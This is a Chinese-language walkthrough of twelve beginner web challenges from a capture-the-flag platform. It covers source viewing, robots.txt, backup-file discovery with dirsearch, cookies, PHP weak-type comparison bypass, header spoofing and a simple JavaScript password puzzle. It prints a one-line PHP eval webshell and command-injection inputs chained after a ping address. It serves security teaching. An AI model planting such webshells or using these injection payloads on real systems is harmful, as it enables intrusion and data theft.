文章目錄
1. view_source
題目描述
X老師讓小寧同學查看一個網頁的源代碼,但小寧同學發現鼠標右鍵好像不管用了。
解題過程
右鍵不能用,肯定是網頁用Javascript
對右鍵進行了操作。我們可以選擇禁用Js的方式。
這樣右鍵就可以用了。我們可以這樣右鍵查看網頁源代碼。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Where is the FLAG</title>
</head>
<body>
<script>
document.oncontextmenu=new Function("return false")//禁用右鍵菜單
document.onselectstart=new Function("return false")//禁用選擇文本
</script>
<h1>FLAG is not here</h1>
<!-- cyberpeace{e1b7fe436e0d283acefcb5efe3eba37f} -->
</body>
</html>
當然我們也可以通過快捷鍵來查看源代碼;
F12
或者Ctrl+shift+I
打開開發者工具Ctrl+U
直接查看- 在網址前面加上
view-source:
- 瀏覽器自帶的Web開發者工具
2. robots
題目描述
X老師上課講了Robots協議,小寧同學卻上課打了瞌睡,趕緊來教教小寧Robots協議是什麼吧。
解題過程
http://159.138.137.79:63859/robots.txt
User-agent: *
Disallow:
Disallow: f1ag_1s_h3re.php
http://159.138.137.79:63859/f1ag_1s_h3re.php
cyberpeace{af2a2b404477a38c071c58bc1d61a719}
相關知識
Robots協議
Robots文件:網站和搜索引擎之間的一個協議。用來防止搜索引擎抓取那些我們不想被搜索引擎看到的隱私內容。
- Robots文件告訴蜘蛛什麼是可以被查看的。
- Robots是蜘蛛爬行網站第一個要訪問的文件。
常用符號
User-agent:定義搜索引擎的類型
Disallow:定義禁止搜索引擎收錄的地址
Allow:定義允許搜索引擎收錄的地址
*:匹配0或多個任意字符
$:匹配行結束符
3. backup
題目描述
X老師忘記刪除備份文件,他派小寧同學去把備份文件找出來,一起來幫小寧同學吧!
解題過程
你知道index.php
的備份文件名嗎?
結合題目中所說,文件的備份文件沒有刪除,那麼我們便可以下載備份文件。
常見的備份文件後綴名有: .git .svn .swp .svn .~ .bak .bash_history
這裏通過dirsearch
來掃描網站目錄
python3 dirsearch.py -u http://159.138.137.79:59964/ -e *
200 438B http://159.138.137.79:59964/index.php
200 438B http://159.138.137.79:59964/index.php/login/
200 500B http://159.138.137.79:59964/index.php.bak
打開index.php.bak
,即得flag
<html>
<head>
<meta charset="UTF-8">
<title>備份文件</title>
<link href="http://libs.baidu.com/bootstrap/3.0.3/css/bootstrap.min.css" rel="stylesheet" />
<style>
body{
margin-left:auto;
margin-right:auto;
margin-TOP:200PX;
width:20em;
}
</style>
</head>
<body>
<h3>你知道index.php的備份文件名嗎?</h3>
<?php
$flag="Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}"
?>
</body>
</html>
4. cookie
題目描述
X老師告訴小寧他在cookie裏放了些東西,小寧疑惑地想:‘這是夾心餅乾的意思嗎?’
解題過程
打開開發者工具調出請求報文
GET / HTTP/1.1
Host: 159.138.137.79:57848
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: look-here=cookie.php
Connection: keep-alive
Cache-Control: max-age=0
我們可以發現Cookie: look-here=cookie.php
訪問http://159.138.137.79:57848/cookie.php
提示See the http response
在響應頭中獲得flag
HTTP/1.1 200 OK
Date: Fri, 17 Apr 2020 13:20:38 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
flag: cyberpeace{26ab1841150a697865445ce5d0070520}
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 253
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
相關知識
Cookie
是小量信息,由網絡服務器發送出來以存儲在網絡瀏覽器上,從而下次訪客又回到該網絡服務器時,可從該瀏覽器讀回此信息。
-
讓瀏覽器記住這位訪客的特定信息,如上次訪問的位置、花費的時間或用戶首選項(如樣式表)
-
Cookie 是個存儲在瀏覽器目錄的文本文件,當瀏覽器運行時,存儲在 RAM 中。
一旦你從該網站或網絡服務器退出,Cookie 也可存儲在計算機的硬驅上。當訪客結束其瀏覽器對話時,即終止的所有 Cookie。
可參考
5. disabled_button
題目描述
X老師今天上課講了前端知識,然後給了大家一個不能按的按鈕,小寧驚奇地發現這個按鈕按不下去,到底怎麼才能按下去呢?
解題過程
題目說明按鈕不能按下,所以我們打開調試工具,將按鈕設置爲可點擊。
<input disabled class="btn btn-default" style="height:50px;width:200px;" type="submit" value="flag" name="auth">
可以看到disabled,我們把它刪掉,按鈕就可以點擊了。即得flag。
相關知識
HTML <input>
標籤的 disabled 屬性
disabled 屬性規定應該禁用 input 元素。被禁用的 input 元素既不可用,也不可點擊。
6. weak_auth
題目描述
小寧寫了一個登陸驗證頁面,隨手就設了一個密碼。
解題過程
隨手輸入賬戶名密碼,顯示
對密碼進行爆破
通過長度我們可以判斷出密碼:
7. simple_php
題目描述
小寧聽說php是最好的語言,於是她簡單學習之後寫了幾行php代碼。
解題過程
打開題目地址後後顯示了幾行php代碼。
<?php
show_source(__FILE__);//以高亮形式顯示當前文件的源代碼
include("config.php");
$a=@$_GET['a'];//@表示忽略報錯信息
$b=@$_GET['b'];
if($a==0 and $a){
echo $flag1; //flag的一部分
}
if(is_numeric($b)){ //對數字或純數字字符串進行判斷
exit();
}
if($b>1234){
echo $flag2; //flag的另一個部分
}
?>
通過分析上述代碼,我們需要通過GET方式傳進去變量a,b
的值,使其滿足條件即可。
$a==0 and $a
is_numeric($b)
爲假$b>1234
這裏$a==0
用的是==
,表示不需要判斷兩者類型是否相同,也就是會自動切換類型。
所以我們讓a=abc
,等於一個字符串,那麼既滿足$a==0
,也能保證$a
的邏輯值爲True
讓b=12345abc
,這樣可以繞過is_numeric($b)
,而且在比較的時候b會自動轉換爲12345.
http://159.138.137.79:61968/?a=abc&b=12345a
相關知識
php的弱類型比較
php中有兩種比較的符號 == 與 ===
- === 在進行比較的時候,會先判斷兩種字符串的類型是否相等,再比較數值
- == 在進行比較的時候,會先將字符串類型轉化成相同,再比較數值
- 如果比較一個數字和字符串或者比較涉及到數字內容的字符串,則字符串會被轉換成數值並且比較按照數值來進行。
$a="abc"
$a==0
True$a
True
$b=1234abc
$b==1234
True
具體可以參照PHP手冊的類型比較表。
8. Get_Post
題目描述
X老師告訴小寧同學HTTP通常使用兩種請求方法,你知道是哪兩種嗎?
解題過程
提交後,會讓以post方式提交
藉助了hackbar工具。
相關知識
在客戶機和服務器之間進行請求-響應時,兩種最常被用到的方法是:GET 和 POST。
- GET - 從指定的資源請求數據。
- POST - 向指定的資源提交要被處理的數據
9. xff_referer
題目描述
X老師告訴小寧其實xff和referer是可以僞造的。
解題過程
ip地址必須爲123.123.123.123
通過在請求頭中加入,X-Forward-For:
必須來自https://www.google.com
在請求頭中加入Referer
相關知識
X-Forwarded-For(XFF)是用來識別通過HTTP代理或負載均衡方式連接到Web服務器的客戶端最原始的IP地址的HTTP請求頭字段。
HTTP Referer是header的一部分,當瀏覽器向web服務器發送請求的時候,一般會帶上Referer,告訴服務器該網頁是從哪個頁面鏈接過來的,服務器因此可以獲得一些信息用於處理。
10. webshell
題目描述
小寧百度了php一句話,覺着很有意思,並且把它放在index.php裏。
解題過程
你會使用webshell嗎?
<?php @eval($_POST['shell']);?>
一句話木馬,直接在index.php中,故我們直接用菜刀進行鏈接。
相關知識
webshell就是以asp、php、jsp或者cgi等網頁文件形式存在的一種命令執行環境,也可以將其稱做爲一種網頁後門。黑客在入侵了一個網站後,通常會將asp或php後門文件與網站服務器WEB目錄下正常的網頁文件混在一起,然後就可以使用瀏覽器來訪問asp或者php後門,得到一個命令執行環境,以達到控制網站服務器的目的。
11. command_execution
題目描述
小寧寫了個ping功能,但沒有寫waf,X老師告訴她這是非常危險的,你知道爲什麼嗎。
解題過程
127.0.0.1;find / -name "*flag*"
ping -c 3 127.0.0.1;find / -name "*flag*"
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.028 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.021 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.025 ms
--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2048ms
rtt min/avg/max/mdev = 0.021/0.024/0.028/0.006 ms
/home/flag.txt
/proc/sys/kernel/acpi_video_flags
/proc/sys/kernel/sched_domain/cpu0/domain0/flags
/proc/sys/kernel/sched_domain/cpu0/domain1/flags
/proc/sys/kernel/sched_domain/cpu1/domain0/flags
找到了flag.txt然後用cat命令打開即可
127.0.0.1;cat /home/flag.txt
cyberpeace{eb12736d5fff4e735268a6315ed337ee}
相關知識
waf: waf是通過執行一系列針對HTTP/HTTPS的安全策略來專門爲Web應用提供保護的一款產品。
Linux中一行執行多條命令
-
&&
第2條命令只有在第1條命令成功執行之後才執行。 -
||
只有||前的命令執行不成功(產生了一個非0的退出碼)時,才執行後面的命令。 -
|
| 的作用爲將前一個命令的結果傳遞給後一個命令作爲輸入
-
;
順序執行多條命令,當;號前的命令執行完(不管是否執行成功),才執行;後的命令。
12. simple_js
題目描述
小寧發現了一個網頁,但卻一直輸不對密碼。
解題過程
發現需要輸入密碼,而且是一個彈窗
分析js代碼
<script type="text/javascript">
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',');
var tab2 = pass.split(',');var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length;
k = j + (l) + (n=0);
n = tab2.length;
for(i = (o=0);
i < (k = j = n); i++ )
{o = tab[i-l];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (o=0); i < (k = j = n); i++ ){
o = tab[i-l];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
}
p += String.fromCharCode(tab2[17]);
pass = p;
return pass;
}
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
h = window.prompt('Enter password');
alert( dechiffre(h) );
</script>
"\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
[55,56,54,79,115,69,114,116,107,49,50]
轉換爲字符:
786OsErtk12